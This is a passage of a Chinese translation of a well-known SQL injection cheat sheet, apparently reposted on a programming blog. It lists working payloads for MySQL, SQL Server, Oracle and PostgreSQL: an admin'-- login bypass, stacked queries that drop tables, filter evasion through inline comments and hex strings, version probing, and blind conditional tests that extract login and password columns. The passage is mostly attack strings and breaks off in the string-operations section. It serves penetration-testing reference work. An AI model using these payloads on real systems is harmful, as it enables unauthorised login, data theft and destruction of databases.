1. 程式人生 > >SQL防注入大全——史上最全的 SQL 注入資料

SQL防注入大全——史上最全的 SQL 注入資料

SQL注入速查表是可以為你提供關於不同種類 SQL注入漏洞 的詳細資訊的一個資源。這份速查表對於經驗豐富的滲透測試人員,或者剛開始接觸 Web應用安全 的初學者,都是一份很好的參考資料。

關於這份 SQL 注入速查表

這份 SQL 速查表最初是 2007 年時 Ferruh Mavituna 在他自己的部落格上釋出的。我們更新了它並將它移到了公司 CEO 的部落格上。現在,這份速查表僅包含了 MySQL 、SQL Server,和有限的一些關於 Oracle 和 PostgerSQL 資料庫的資訊。表中的部分示例可能無法在每一個場景都正常執行,因為真實使用的環境中,可能因為括號的使用、不同的程式碼上下文以及出乎意料的、奇怪而複雜的 SQL 語句而有所差異。

示例提供給你關於潛在攻擊的基本思路,而且幾乎每節都包含有簡短的說明。

  • M:MySQL

  • S:SQL Server

  • P:PostgreSQL

  • O:Oracle

  • +:可能出現在其他所有資料庫

例如:

  • (MS)代表:MySQL 和 SQL Server 等

  • (M*S)代表:僅部分版本及有特殊說明的 MySQL,以及 SQLServer

目錄表

  1. 語法參考,攻擊樣例以及注入小技巧

(1)行間註釋

  • 使用了行間註釋的 SQL 注入攻擊樣例

(2)行內註釋

  • 經典的行內註釋注入攻擊樣例

  • MySQL 版本探測攻擊樣例

(3)堆疊查詢(Stacking Queries)

  • 支援堆疊查詢的語言/資料庫

  • 關於 MySQL 和 PHP

  • 堆疊注入攻擊樣例

(4)If 語句

  • MySQL 的 If 語句

  • SQL Server 的 If 語句

  • If 語句的注入攻擊樣例

(5)使用整數(Integers)

(6)字串操作

  • 字串的連結

(7)沒有引號的字串

  • 基於 16 進位制的注入攻擊樣例

(8)字串變體 & 相關知識

(9)Union 注入

  • UNION — 語言問題處理

(10)繞過登陸介面

(11)在SQL Server 2005 中啟用 xp_cmdshell

(12)探測 SQL Server 資料庫的結構

(13)從基於錯誤的 SQL 注入中快速提取資料的方法

(14)SQL 盲注

(15)掩蓋痕跡

(16)MySQL 的額外說明

(17)二階 SQL 注入

(18)帶外(OOB)頻道攻擊

語法參考、攻擊示例和注入小技巧

結束 / 註釋掉 / 行註釋

行間註釋

註釋掉查詢語句的其餘部分

行間註釋通常用於忽略掉查詢語句的其餘部分,這樣你就不用處理因為注入導致的語法變動。

— (SM)

DROP sampletable;--

# (M)

DROP sampletable;#

行間註釋的 SQL 注入攻擊示例

使用者名稱:admin’–

SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'

這會讓你以admin使用者身份登入,因為其餘部分的SQL語句被註釋掉了。

行內註釋

通過不關閉的註釋,註釋掉查詢語句的其餘部分,或者用於繞過黑名單過濾、移除空格、迷惑和探測資料庫版本。

  • /*這裡是註釋內容*/ (SM)

    • DROP/*註釋*/sampletable

    • DR/**/OP/*繞過過濾*/sampletable

    • SELECT/*消除空格*/password/**/FROM/**/Members

  • /*! MYSQL 專有 SQL */ (M)

這是 MySQL 的專有語法。非常適合用來探測 MySQL 版本。如果你在註釋中寫入程式碼,只有 MySQL 才會執行。你同樣可以使用這個方法,讓程式碼只在伺服器版本高於指定版本才執行。

SELECT /*!32302 1/0, */ 1 FROM tablename

經典的行內註釋 SQL 注入攻擊示例

ID: 10; DROP TABLE members /*

在查詢結尾簡單地去除其他內容。等同於 10; DROP TABLE members —

SELECT /*!32302 1/0, */ 1 FROM tablename

如果 MySQL 版本高於 23.02 會丟擲一個除數為 0(division by 0)的錯誤

MySQL 版本探測攻擊示例

ID: /*!32302 10*/

ID: 10

如果 MySQL 的版本高於 23.02,執行上面兩個查詢你將得到相同的結果

SELECT /*!32302 1/0, */ 1 FROM tablename

如果 MySQL 版本高於 23.02 會丟擲一個除數為 0(division by 0)的錯誤

堆疊查詢

在一個事務中執行多個查詢。這在每一個注入點都非常有用,尤其是後端使用了 SQL Server 的應用程式。

  • ; (S)

SELECT * FROM members; DROP members--

結束一個查詢並開始一個新的查詢。

語言 / 資料庫堆疊查詢支援表

綠色:支援;深灰色:不支援;淺灰色:未知

關於 MySQL 和 PHP

闡明一些問題

PHP – MySQL 不支援堆疊查詢,Java 不支援堆疊查詢(Oracle 我很確定,其他的就不太確定了)。通常來說 MySQL 支援堆疊查詢,但在 PHP – MySQL 應用程式中大多數配置下的資料庫層都不能執行第二條查詢,也許 MySQL 客戶端支援這個,我並不是很確定。有人能說明下嗎?

堆疊注入攻擊示例

  • ID: 10;DROP members —

SELECT * FROM products WHERE id = 10; DROP members--

這在正常SQL查詢執行後將會執行 DROP members 語句。

If語句

根據If語句得到響應。這是盲注(Blind SQL Injection)的關鍵點之一,在盲注和精確的簡單測試中都非常有用。

MySQL 的 If 語句

IF(condition,true-part,false-part)(M)

SELECT IF(1=1,'true','false')

SQL Server 的 If 語句

IF condition true-part ELSE false-part(S)

IF (1=1) SELECT 'true' ELSE SELECT 'false'

Oracle 的 If 語句

BEGIN

IF condition THEN true-part; ELSE false-part; END IF; END;(O)

IF (1=1) THEN dbms_lock.sleep(3); ELSE dbms_lock.sleep(0); END IF; END;

PostgreSQL 的 If 語句

SELECT CASE WHEN condition THEN true-part ELSE false-part END;(P)

SELECT CASE WEHEN (1=1) THEN 'A' ELSE 'B'END;

If 語句的 SQL 注入攻擊示例

if ((select user) = 'sa' OR (select user) = 'dbo') select 1 else select 1/0 (S)

如果當前登入的使用者不是 ”sa” 或 “dbo”,語句會丟擲 除數為0 的錯誤。

整數的使用

對於繞過非常有用,如 magic_quotes() 和類似的過濾器,甚至是各種WAF。

  • 0xHEXNUMBER(SM)你可以這樣使用 16 進位制數。

SELECT CHAR(0x66)S

SELECT0x5045(這不是一個整數,而會是一個16進位制字串)(M

SELECT0x50 + 0x45(現在這個是整數了!)(M

字串操作

字串相關的操作。這些對於構造不含引號、繞過黑名單或探測後端資料庫的注入非常有用。

字串的連結

+ (S)

SELECT login + '-' + password FROM members

|| (*MO)

SELECT login || '-' || password FROM members

* 關於 MySQL 的 “||”

僅當 MySQL 在 ANSI 模式下這(指 “||” 符號)才會執行,其他模式下 MySQL 會當成 邏輯運算子 並返回 0。更好的方式是使用 MySQL 的 CONCAT() 函式。

CONCAT(str1, str2, str3, …) (M)

連線引數裡提供的字串。

SELECT CONCAT(login, password) FROM members